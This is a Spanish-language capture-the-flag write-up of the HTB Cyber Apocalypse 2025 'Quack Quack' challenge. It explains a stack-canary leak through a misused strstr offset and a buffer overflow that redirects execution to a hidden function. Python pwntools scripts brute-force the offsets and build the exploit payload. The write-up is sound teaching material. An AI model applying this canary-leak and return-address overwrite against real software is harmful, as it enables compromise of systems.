Cyber Apocalypse 2025 - Quack
Table of Contents
Quack Quack
Uno de mis desafíos favoritos del HTB CTF de este año fue Quack Quack
Para Quack Quack, nos dieron dos cosas:
- Un archivo ELF binario
quack_quack
- Una IP y un puerto para conectarse a
Conectarse con el control remoto nos recibió con un pato y un aviso, que inmediatamente sale independientemente de la entrada que se diera
Siendo la única otra cosa que nos dieron, abro el binario
quack_quack
en Ghidra para ver lo que está pasando (supongo que el binario es lo que se está ejecutando en el control remoto).
Después del desmontaje, de notar vemos un par de funciones interesantes a la izquierda:
duckling
duck_attack
banner
setup
main
De estos, solo duckling
, duck_attack
y main
son relevantes. Así que echemos un vistazo a la función principal para ver cómo se desarrolla la lógica del programa:
Aquí vemos que al presionar la función principal, el programa simplemente crea un canario, ejecuta
duckling
y luego sale. Entonces, veamos duckling
Aquí hay mucha lógica, así que vamos a desglosarlo:
char *pcVar1;
long in_FS_OFFSET;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
La primera parte de la función asigna un montón de variables, nada loco. local_10
es el valor canario.
A continuación, emite el indicador a Stdout (recuerde, este es el mismo aviso que vimos al conectarlo al control remoto):
printf("Quack the Duck!\n\n> ");
fflush(stdout);
Luego lee 102 bytes de Stdin y almacena los datos en el puntero local_88
read(0,&local_88,0x66);
Luego realizamos la función strstr ( const char * str1, const char * str2 )
C, que devuelve un puntero a la primera ocurrencia de str2 en str1, o puntero nulo si no se encuentra. Esencialmente, está buscando nuestra entrada &local_88
para la cadena "Quack Quack", y devuelve un puntero nulo si la cadena no se encuentra o el puntero a donde se encuentra por primera vez "Quack Quack".
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
El programa luego verifica si el resultado es un puntero nulo. Si es así, sale y escribe un mensaje. Nuevamente, esto es lo que vimos cuando nos conectamos.
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
Si queremos, podemos verificar esta lógica conectándonos al control remoto nuevamente e ingresando "Quack Quack" (verifica el espacio)
Volver al código:
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
Aquí el programa imprime un mensaje con una sustitución, reemplazando %s
con los datos ubicado 32 bytes después del puntero desde el fragmento anterior. Justo después, realiza otra lectura de Stdin, pero esta vez lee 40 (0x28) bytes y lo almacena en una variable:
read(0,&local_68,0x6a)
Después de eso, imprime incondicionalmente una cadena fija y regresa.
puts("Did you really expect to win a fight against a Duck?!\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
De hecho, podemos ver este comportamiento:
Es bastante obvio en este punto que nos llevan a un ataque de desbordamiento de amortiguación. La cuestión clave es que local_68
está a solo 0x20 (32) bytes del final del primer búfer, pero la segunda lectura acepta 106 bytes. Esto significa que podemos escribir más allá de los límites del búfer y potencialmente sobrescribir la dirección de devolución.
Además, recuerde que hay otra función que vimos: duck_attack
. Es obvio que esta función es nuestro objetivo. Queremos ejecutar esto en el servidor, pero la gráfica se espesa: recuerde que ya vimos el código para el main
func y el duckling
func, y no se llama a ninguna parte del código. Entonces, en condiciones normales, Esta función nunca se llamará, y no hay rutas lógicas que conduzcan a esta función ejecutándose. Lo que significa que la forma solo posiblemente ejecutar esto en el servidor es sobrescribir una dirección de retorno a través de un desbordamiento.
Genial, así que probemos un ataque de desbordamiento de búfer. Esto se puede hacer fácilmente conectando un depurador y generar una carga útil de 106 bytes de largo, y usarla como la segunda entrada. Recuerde, necesitamos ingresar "Quack Quack" como la primera entrada para pasar la verificación:
Aquí es donde el desafío se vuelve un poco más difícil. Tiene protección contra ataques de desbordamiento del búfer, como lo ve el bloqueo _DAST5_*: terminated
. La protección es probable por el compilador que las verificaciones canarias generadoras automáticas antes de saltar RBP. Puede leer más sobre cómo funciona esto here, pero básicamente:
- Antes del búfer
RBP
en la memoria, se coloca un valor canario (solo un montón de datos aleatorios generados en tiempo de ejecución). - Si se cambia el valor canario, eso significa que un búfer que lo precede se desborde en la dirección canaria, y el programa sabe que ocurrió un desbordamiento del búfer. Esto es cuando ocurre el accidente.
- Debido a que el
RBP
almacena la dirección de retorno, la función no puedo return a menos que el canario permanezca sin cambios
Esto calambre nuestro estilo, porque un típico ataque de desbordamiento de búfer funciona sobrescribiendo la dirección de retorno a una dirección de nuestra elección (en este caso, elegiríamos la dirección de duck_attack
). Sin embargo, debido a que el puntero de retorno está al final de la pila, tendríamos que sobrescribir el canario para llegar a ella.
La única forma de evitar este tipo de protección es para filtrar de alguna manera el valor canario en tiempo de ejecución, y al desbordar y destruir datos fuera del búfer previsto, colocamos el valor canario donde estaba en el desplazamiento correcto.
Existe una vulnerabilidad en la lógica en la primera entrada:
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
Para resumir, este código:
- Devuelve el puntero de la primera instancia de
Quack Quack
en la entrada - Imprime la memoria que se compensa 32 bytes de ese puntero.
Aquí, podemos manipular el puntero y, con suerte, imprimir el valor canario. Abra nuestro depurador nuevamente y establezcamos un punto de interrupción justo después de la salida relevante.
Ahora, esencialmente tenemos una memoria arbitraria leída manipulando la compensación de la subcadena marcada desde el comienzo de la entrada (solo puede ser 102 bytes grandes). Desafortunadamente, no sabemos dónde está el valor canario, en relación con dónde se almacena el búfer de entrada. Por ejemplo, tome la siguiente ejecución con 49 A precediendo a la cadena:
Donde se sustituye el
%s
, vemos que no genera nada. Esto se debe a que supuestamente la dirección de memoria 32 bytes de cualquier puntero que se genere con 49 A está vacío. Como estamos adivinando con memoria ahora, vamos a tener que comenzar a automatizar. Para esto usaré Python y pwntools
.
Escribamos un guión rápido para Bruteforce el número de A necesarios para filtrar el canario. En este caso, solo necesitamos probar 1-90, ya que el tamaño del búfer máximo es de 102 bytes y "Quack Quack" ya ocupa 12.
#!/usr/bin/env python3
from pwn import *
import re
import binascii
context.log_level = 'error'
host = '94.237.50.164'
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
conn = process('./quack_quack')
conn.recvuntil(b'> ')
pre = b'A' * i
payload = pre + b'Quack Quack '
conn.sendline(payload)
response = conn.recvuntil(b'the Duck?')
print("Response:\n", response)
out = response.split(b'Quack Quack ')[1].split(b',')[0]
print(f'Data extracted with offset {i}: {out}')
conn.close()
def main():
for i in range(0,90):
leak_canary(i)
if __name__ == '__main__':
main()
No escribí comentarios en mi código, pero debería ser bastante explicativo. Aquí está la salida:
En su mayor parte, la memoria está vacía. Pero verá en algún lugar que logramos obtener un poco de datos. Sin embargo, solo con el desplazamiento de 89 vemos una cantidad utilizable de datos. ¡Esto significa que probablemente hemos localizado el canario justo al final! Estamos tratando con datos binarios aquí, por lo que no se mostrará en un terminal correctamente. Para solucionar esto, tendremos que analizar nuestro script.
Nota: Me quedé atascado durante varias horas aquí. El problema era que estamos leyendo la memoria y la generamos, por lo que la endianness se voltea. Necesitamos reorganizar manualmente el endian para tener datos utilizables
Cambiamos son script como así:
out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')
¡Y ahora tenemos el valor canario!
Debido a que esto se genera en tiempo de ejecución, desafortunadamente no podemos usar esto como valor final, tendremos que extraerlo en tiempo de ejecución y usarlo en la carga útil. No es un problema, pero vale la pena señalar.
Ahora, recuerda. Nuestro objetivo es reescribir la dirección de retorno para volver a la función duck_attack
para imprimir el indicador. Y sabemos la dirección de la función desde el desmontaje:
Podemos agregar la dirección como una variable y recuerde voltear el endian:
duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')
Pero antes de eso, volvamos al depurador e intentemos verificar nuestro canario. Desafortunadamente, en GDB, después de llegar a nuestro punto de interrupción: e inspeccionar la pila:
, no podemos comparar nuestro canario con lo que está en la memoria, debido a que los datos binarios no se muestran en nuestro terminal. Por lo tanto, necesitaremos adjuntar nuestro depurador GDB dentro de nuestro script donde podemos analizar la salida sin procesar
Para hacer eso, solo agregamos gdb.attach(conn)
y luego, donde queremos inspeccionar, podemos agregar pause()
. En nuestro caso, solo agregaremos el pause()
antes de cerrar la conexión. Ahora tenemos un depurador abierto justo después de imprimir el canario:
¡Verás que nuestro canario coincide! Lo que significa, ahora podemos pasar a la segunda parte de la exploit (¿recuerdas el segundo
read()
?)
Ahora, tenemos el Canary y estamos tratando de sobrescribir la dirección de devolución. Al igual que con el canario, no sabemos la posición de nuestro objetivo en relación con la pila que estamos sobrescribiendo. Podemos hacer algo similar a cómo hicimos la primera parte y la fuerza bruta. Recuerde, el canario estará justo antes de RBP, por lo que podemos agregar lentamente a nuestro desbordamiento con nuestro canario al final.
Si bien el desbordamiento es lo suficientemente pequeño, el canario no se tocará y no sucederá nada. Cuando el desbordamiento es demasiado grande, nuestros personajes basura sobrescribirán al canario y obtendremos el bloqueo de la pila. Pero, cuando tengamos el desplazamiento correcto, se superpondrá perfectamente al canario y reemplazará la dirección de retorno con la dirección de duck_attack
, leyendo el archivo flag.txt.
Así que agregemos esto a nuestro script, iterando sobre i
:
res = conn.recvuntil(b'> ')
payload2 = (b'A' * i) + p64(canary) + attack_bytes
conn.sendline(payload2)
res = conn.recv_raw(256)
print(f'{i}: {res}')
Y obtenemos un resultado interesante con 88 A:
Pero ... esperábamos obtener la bandera. ¿Dónde está? ¿Por qué mostramos algún texto aleatorio en su lugar?
Vamos a entrar en nuestro depurador y descubramos:
Verificamos que RBP no estaba sobrescribido. Entonces eso lleva a la pregunta: ¿dónde terminó nuestra carga útil? jajaja. Echemos un vistazo a la pila y descubramos.
Está bien, eso es interesante. Nuestra carga útil (
40137f
) está en 0x7ffe95725d30
, pero la queremos en 0x7ffe95725d20
. Así que agregemos algunos bytes antes de nuestra carga útil de ataque y depuración:
Está bien, este es un progreso. Ahora vemos que estamos sobrescribiendo parcialmente RBP, lo que lleva a una dirección de memoria no válida:
Así que agregemos 8 bytes antes de nuestra carga útil de ataque para moverla a la posición
+ (b'A'*8) + attack_bytes
¡Parece que lo tenemos! El flag.txt en mi máquina se mostró correctamente. Ahora necesitamos ejecutar esto en el servidor.
¡Bien, lo tenemos! (Son las 2 am ahora)